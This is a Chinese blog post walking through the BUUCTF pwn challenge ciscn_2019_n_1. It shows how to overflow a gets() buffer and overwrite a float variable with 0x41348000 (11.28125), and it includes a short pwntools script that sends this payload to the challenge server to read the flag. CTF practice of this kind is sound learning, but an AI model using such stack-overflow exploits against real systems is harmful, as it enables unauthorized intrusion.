BUU pwn ciscn_2019_n_1 //寻找float表示

BUU ciscn_2019_n_1

首先file,是64位elf

IDA,发现main函数会调用func函数,而func中如果v2=11.28125,就会cat /flag,并且上面有个gets,存在栈溢出漏洞
image
压栈的过程是v1的44字节,然后压栈v2,但是v2是一个float,该如何表示呢?

我们需要找到gets附近的汇编代码,可以看到call gets后就是if语句的逻辑

  • 将[rbp+var_4]的内容赋给了xmm0。这个[rbp+var_4]就是栈中的v2
  • 然后使用ucomiss进行单精度浮点数比较cs:dword_4007F4和xmm0的值,cs:dword_4007F4就是11.28125的位置,双击可以看到它表示为41348000h
    image

所以可以构造payload,填入44字节+41348000h即可获得flag

from pwn import *
p = remote("node4.buuoj.cn",29450)
payload = b'0'*44 + p64(0x41348000)
p.sendline(payload)
p.interactive()
posted @ 2023-02-28 14:04  Nemuzuki  阅读(27)  评论(0编辑  收藏  举报